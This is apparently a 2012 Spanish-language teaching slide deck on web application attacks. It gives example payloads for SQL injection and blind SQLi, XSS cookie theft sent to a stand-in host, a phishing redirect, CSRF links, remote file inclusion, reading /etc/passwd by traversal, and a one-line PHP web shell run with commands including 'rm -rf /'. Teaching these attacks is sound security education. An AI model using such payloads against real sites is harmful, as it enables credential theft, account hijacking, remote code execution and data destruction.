Seguridad Web

Álvaro Gómez Giménez

UAM.NET

10-04-2012

Contenidos

Introducción y planificación

Análisis de la aplicación

Antes de comenzar el análisis de vulnerabilidades de la aplicación es necesario familiarizarse con el entorno:

- Explorar las funcionalidades que ofrece la aplicación
- Explorar el árbol de recursos de la aplicación

Nuestro objetivo principal es el *escalado de privilegios*, que podemos alcanzar de varias formas:

- Robo de credenciales:
  1. Acceso a la BD mediante SQLi
  2. Obtención de datos via *phising*
  3. Suplantación de sesiones de usuario
- Vulnerabilidades en el sistema (Shell upload, exploit)

SQL Injection y BSQLi

SQL Injection

Aprovechamos vulnerabilidades de filtrado en consultas del tipo:

Consulta

SELECT * FROM users WHERE id=$id

Que obtiene un resultado del estilo:

id	nick	password	email	last_date
0	paco	paco	paco@uam.es	17/03/2012 15:37:02

¿Qué ocurre si...

SQLi

$id ≡ 0 union select 1,2,3,4,5

BSQLi

Utilizamos condiciones de tipo *boolean* cuando no la consulta no permite añadir consultas como en el caso anterior.

BSQLi

```
SELECT * FROM users WHERE id=0 AND 1=1
```

¿Qué ocurre si...

BSQLi

```
SELECT * FROM users WHERE id=0 AND substring(@@version,1,1)='5'
```

Iteramos sucesivamente para obtener los datos que queremos:

BSQLi

```
SELECT * FROM users WHERE id=0 AND substring(@@version,1,1)='5'
SELECT * FROM users WHERE id=0 AND substring(@@version,2,1)='.'
SELECT * FROM users WHERE id=0 AND substring(@@version,3,1)='4'
...
```

Cross-Site Scripting (XSS)

XSS: Descripción y Clases

Existe una vulnerabilidad de XSS en cualquier lugar que vuelque código introducido por el usuario sin ser debidamente filtrado (Eliminando, por ejemplo, caracteres especiales de HTML).

Esperamos encontrar código parecido al siguiente:

XSS

```
echo $_GET["q"];
```

Existen dos tipos de XSS:

- **Persistente:** Si el código que se vuelca queda alojado en el servidor.
- **No persistente:** Si el código no es perdurable.

¿Cómo utilizar XSS?

Podemos utilizar vulnerabilidades de tipo XSS de varias formas. Entre las más frecuentes encontramos:

- Robo de *cookies* mediante la inserción de código *Javascript*:

XSS: Robo de Cookie

```
<script>document.location='http://www.example.com/getyourcookie.php?'
+document.cookie</script>
```

- Robo de credenciales mediante Phising, redireccionando al usuario a un entorno controlado:

XSS: Phising

```
<script>window.location='http://phising.com/'</script>
```

Cross-Site Request Forgery

Vulnerabilidad CSRF

Una vulnerabilidad CSRF ocurre cuando el servidor no verifica que una petición procede de un usuario legítimo. Por ejemplo, la siguiente web es potencialmente vulnerable por CSRF:

CSRF

http://www.example.com/actions.php?action=change_name&new_name=rodolfo

Redirigimos a la víctima a un entorno controlado que realice peticiones aprovechando una autenticación previa en la aplicación:

CSRF

<a href='http://www.example.com/actions.php?action=change_name&
new_name=heidi'>Ver mis fotos!

RFI / LFI

Remote/Local File Inclusión

Esta vulnerabilidad se encuentra en aplicaciones que hacen uso de directivas como *include(...)* cuyo contenido depende de parámetros obtenidos, de alguno u otro modo, del usuario y que no han sido correctamente filtrados.

Esperamos código del tipo:

RFI

```
include($_GET["lang"].".php");
```

¿Qué ocurre sí...

RFI

```
http://www.example.com/index.php?lang=http://remote.com/own.php%00
```

Directory Transversal

Directory Trasnversal

Las vulnerabilidades de tipo *Directory Trasnversal* afectan a aquellas páginas que realizan lecturas sobre archivos cuya ruta, de algún modo, ha sido obtenida del cliente y no se ha filtrado debidamente.

Por ejemplo, tenemos la lectura de un fichero de la siguiente forma:

Directory Transversal

```
$f=fopen($_GET["file"],'r');
```

¿Qué ocurre si introducimos la siguiente ruta:

Directory Transversal

```
http://www.example.com/view.php?file=../../etc/passwd
```

Shell upload

Shell upload

Utilizamos sistemas de subida de archivos, preferiblemente sin filtro de contenido, para subir archivos malintencionados. Por ejemplo, subimos un archivo PHP con el siguiente código:

Shell en PHP

```
<? system($_GET["c"]) ?>
```

Podemos ejecutar comandos del siguiente modo:

- http://www.example.com/shell.php?c=ls
- http://www.example.com/shell.php?c=rm -rf /
- ...

Escalado de privilegios

Escalado de privilegios

Una vez hemos logrado el acceso a una *shell* del SO, podemos aprovechar vulnerabilidades en el mismo para lograr lo que se conoce como *escalado de privilegios*.

Por ejemplo, en una sesión obtenida en el entorno de PHP tendremos privilegios del usuario www-data. Queremos conseguir:

Escalado de privilegios

www-data $\rightarrow$ root